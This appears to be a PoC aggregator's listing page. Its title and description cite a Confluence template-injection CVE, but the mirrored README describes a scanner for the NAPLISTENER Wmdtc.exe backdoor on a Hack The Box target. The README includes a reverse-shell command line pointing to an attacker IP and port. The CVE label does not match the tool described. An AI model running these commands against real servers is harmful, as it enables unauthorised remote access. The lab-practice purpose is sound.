CVE-2023-22527 PoC — Atlassian Confluence 安全漏洞

Source

https://github.com/ttate10/CVE-2023-22527

Associated Vulnerability

Title:Atlassian Confluence 安全漏洞 (CVE-2023-22527)
Description:A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.

Description

PoC for the NAPLISTENER exploit: https://nvd.nist.gov/vuln/detail/CVE-2023-22527 (Purpose: To practice automating exploits)

Readme

# REF2924

NAPLISTENER is a backdoor scanner for the Wmdtc.exe backdoor associated with the REF2924 APT group.

We can use this tool on both Windows and Linux to scan target servers.

If you find the presence of the field [Microsoft HTTPAPI/2.0], within a website's "/" request header, you can try scanning the organization's backdoor.

When running the script for the first time, it will automatically help you download dependent files

# SCAN

`$ python3 wmdtc_backdoor.py -u "https://napper.htb"`

# Reverse Shell

`$ python3 wmdtc_backdoor.py -u "https://napper.htb" -ip_address 10.10.16.15 -port 10032`

![image.png](https://image.3001.net/images/20240505/1714842481_66366b7107e3b4577ca02.png!small)

[Reference Documentation](https://github.com/ttate10/CVE-2023-22527/files/15300630/Napper.pdf)

File Snapshot


 [4.0K]  /data/pocs/d4ded72dc307cc51a4ee2c2d3723df106caad4dd
├── [ 801]  README.md
└── [ 12K]  wmdtc_backdoor.py

0 directories, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!